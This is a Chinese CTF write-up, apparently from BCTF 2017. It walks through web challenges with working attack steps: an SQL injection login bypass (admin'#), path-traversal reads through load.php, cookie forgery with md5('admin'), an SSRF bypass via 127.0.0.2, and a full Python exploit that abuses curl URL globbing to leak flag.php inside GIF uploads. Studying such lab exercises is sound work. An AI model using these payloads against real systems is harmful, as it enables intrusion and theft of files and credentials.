毕竟还是图样图森破,这次比赛最后我们只做出来了一部分题目,很可惜火日菊苣出的两道题目都没做出来。
Baby Sqli/ Kitty Shop/ Reverse: Flag Shop¶
这也是一套略显莫名其妙的题目。
Baby Sqli¶
这次比赛大有 Web、Reverse、Crypto 结合的意思?
首先是 Baby Sqli,这题首先有一个登录页面,有 WAF,username 没有过滤 '
。测了一堆 Payload 发现 username
是 admin'#
,password
随意,可以成功登录。
然后有个商店可以买东西,manual 说有 a b c
三种商品。但是下面的提示却是 4 items in stock but one is available!
。于是队友买了 d
,拿到 flag。
Welcome to the shop! Your balance is $10, have fun~
(a) hello kitty $10
(b) flag of hello kitty $10
(c) flag of dummy shop $999
Kitty Shop¶
然后一个队友扫描到了 .viminfo
文件:
# This viminfo file was generated by Vim 7.4.
# You may edit it if you're careful!
# Value of 'encoding' when this file was written
*encoding=utf-8
# File marks:
'0 1 0 ~/.viminfo
'1 99 0 ~/app/encrypt0p@ssword/password
load.php
用来下载 manual
文件,但是存在任意文件读取漏洞,但是屏蔽了一些关键词:.php
,proc
,php://
等。结合有一个 Reverse 题也是这个网站,猜测需要下载一个二进制文件,于是顺藤摸瓜下载:
POST /load.php
kitty=../.viminfo
kitty=../encrypt0p@ssword/password
kitty=../../../../../../backup/client.zip
然后直接运行这个 client,wireshark 抓包就能看到 flag。
Reverse: Flag Shop¶
通过逆向这个 client,里面有一个签名算法,很显然然后要伪造自己的钱然后买 c
。可惜此题最后也无人解出。
admin only¶
这道题是最莫名其妙的题目,有“为出题而出题”的嫌疑。
首先确定不是 GitHub Pages 静态页面;在 GitHub 里面搜索没有发现这个 repository。然后看题目,里面有个登录页面,能拿到 md5(admin 的 password)
。反查 md5,登录进去并没有 GitHub 的信息,突然发现里面有个 identity
Cookie,是 md5('user')
,改成 md5('admin')
就显示了一个 GitHub 账号。
找到 repository 里面有一个 apk 文件,简单逆向一下,有一个 AES 加密后的字符串、加密算法、密钥,解开就是 flag。
Alice and Bob¶
见我的这篇博客。
Paint¶
这是一道很有意思的题目。比赛的时候已经能 SSRF 读取 flag.php
,但是不能通过图片检验。后来看了这篇和这篇博客,才知道 curl 有 trick。
首先是一道自带 BGM 的题目。内容是一个画板,前端的部分随便玩两下就行了,不必仔细看。查看我一开始的笔记可以发现,网站的逻辑发生了变化,这里按最新版本处理。另外,网站一开始还有别的功能,后来删掉了多余的功能,能搞事情的地方只剩下:
文件上传 upload.php¶
可以上传的扩展名是:jpg png gif
,禁止的是:bmp php
等。上传完毕会经过图像处理 gd
库的检验和处理,然后修改文件名,保存在 /uploads/
里面。文件名的扩展名取自上传的 filename
,不需要和实际类型匹配,只需要是正常的图片。测试随机写的扩展名,返回 {"files":{"error":"Filename invalid"}}
,说明扩展名这里是白名单限制。
在上传过程中,服务端检查扩展名是强制的,但是 gd
检验处理图片似乎不是强制性的(可能忽略了报错),如果上传一个不是图片的文件仍然可以保存。
另外看了这篇博客发现,测试这个网站的 /uploads
可以发现访问任意 .php
都 403 forbidden。所以上传 Webshell 这条路走不通。经过测试,虽然可以上传包含 PHP 代码的 gif 图片,但是没有发现文件包含等漏洞,无法远程命令执行。
服务端请求 image.php¶
可以请求别的网站的图片,然后经过 upload.php
类似的检验处理流程,保存在 /uploads/
。这里强制用 gd 库检查图片格式,如果不是图片则会拒绝。网络协议方面,只发现了可以使用 http htttps
协议,禁止了 ftp file
等协议。尝试请求自己 VPS 的资源,可以看到 User-Agent
是 curl/7.47.0
。
52.53.74.187 "-" "-" [15/Apr/2017:18:21:26 +0800] "GET /shell.txt HTTP/1.1" 200 274 "-" "curl/7.47.0"
当时想到可能是 SSRF 漏洞读取 flag.php。SSRF 本身很好解决,用 127.0.0.2
或者自己搞一个指向 127.0.0.1
的域名访问 /flag.php
即可绕过这一部分的 WAF,返回:{"files":{"size":374,"error":"Not Image"}}
。直接访问 flag.php,长度则是 80。所以这里成功读取到了 flag.php,但是无法通过图片检验。
赛后简单测试了一下,此处过滤了一些字符:| < > " ' 空格
等。测试 ASCII 0-255 所有字符,没有过滤的只有:! % & ( ) + , - . 数字 = ? @ 大写字母 ^ _ 小写字母
,以及 [ ] { }
。仔细观察 VPS 日志可以发现,后面 4 种字符虽然并没有显示 {"files":{"error":"Invalid URL"}}
,而是返回了 {"files":{"size":0,"error":"Not Image"}}
,但是服务器上并没有看到请求的日志。从这些现象可以猜测:这里用到了 curl 命令,不能命令注入,但是有不知道的特性。
查 man curl
以及相关资料,发现 curl 有 URL globbing
的特性。然后服务端应该是执行了类似 curl 用户 URL > xxx
的命令。
那么就有思路了:随便找一张 gif 图片,首先上传再下载让 gd 库处理一次。然后从中间去掉 374 个字节分成首尾两个图片,使用 curl 的这个特性以及 SSRF 漏洞“夹住”flag.php,保存到 /uploads/
里面。
另外,分割图片的位置不能太随意。稍有常识的人都会看出,gif 文件的数据区块 struct DATASUBBLOCKS DataSubBlocks[N]
大小是 255,但是 flag.php 的大小是 374,在这里并不能装下 flag.php
的所有内容,这会导致 gd
库处理的过程中出现问题。而 struct GLOBALCOLORTABLE GlobalColorTable
的空间则足够大,可以在这一个区域储存 flag.php
。
手动抠图效率不高,写一个随机切割图片并上传的脚本:
import requests
from random import randint
import time
import sys
import re
org_img = 'firesun-paint.gif'
org_img_content = open(org_img,'rb').read()
org_img_size = len(org_img_content)
flag_size = 374
domain = 'http://paint.bctf.xctf.org.cn/'
upload_url = 'http://paint.bctf.xctf.org.cn/upload.php'
ssrf_url = 'http://paint.bctf.xctf.org.cn/image.php'
flag_regex = re.compile(r'(bctf{.*?})')
s = requests.Session()
def trying():
#cut_start = randint(0,org_img_size - 374)
cut_start = randint(20, 0x300) # aim 'struct GLOBALCOLORTABLE GlobalColorTable'
print 'Cut image at %d hex=%x' % (cut_start, cut_start)
files = {'files[]': ('xxxx.gif', org_img_content[0:cut_start], 'image/gif')}
r = s.post(upload_url, files=files)
part1_path = r.json()['files']['url']
print 'part1 upload path is %s' % part1_path
files = {'files[]': ('xxxx.gif', org_img_content[cut_start+flag_size:], 'image/gif')}
r = s.post(upload_url, files=files)
part2_path = r.json()['files']['url']
print 'part2 upload path is %s' % part2_path
url = 'http://127.0.0.2/{%s,flag.php,%s}' % (part1_path, part2_path)
r = s.post(ssrf_url, data={'url':url})
flag_path = r.json()['files']['url']
print 'include flag.php, path is %s' % flag_path
r = s.get(domain+flag_path)
with open('result'+str(time.time())+'.gif','wb') as f:
f.write(r.content)
if 'bctf{' in r.content:
flag = flag_regex.findall(r.content)
if len(flag) > 0:
print '*** get flag ***'
flag_filename = 'flag' + str(time.time()) + '.gif'
with open(flag_filename, 'wb') as f:
f.write(r.content)
print 'saved to %s' % flag_filename
print flag[0]
sys.exit(0)
else:
print 'flag not complete'
while True:
try:
trying()
except Exception,e:
print 'Error'
运行效果:
Cut image at 682 hex=2aa
part1 upload path is uploads/14925990976o5M2s8w.gif
part2 upload path is uploads/1492599098PeFob7yg.gif
Error
Cut image at 27 hex=1b
part1 upload path is uploads/1492599099kMnBDrak.gif
part2 upload path is uploads/1492599099kJDI9YTX.gif
include flag.php, path is uploads/1492599099sYN4QHLf.gif
*** get flag ***
saved to flag1492599092.77.gif
bctf{G073Q1o0Bm4fWKj8iE5TGdb9JBkbnPzh}
赛后感想¶
比赛的时候不知道 curl 的这个 URL globbing 特性,另外也没有好好检测 image.php 的过滤情况,如果发现了 { }
这些字符的异常,是有希望顺藤摸瓜查到这个特性,然后解出这道题的。
Diary¶
显然这是一道 XSS 的题。由于我对 XSS 一无所知,比赛的时候并没有仔细看题,现在题目服务器关了,暂时略去。
signature¶
同理,略。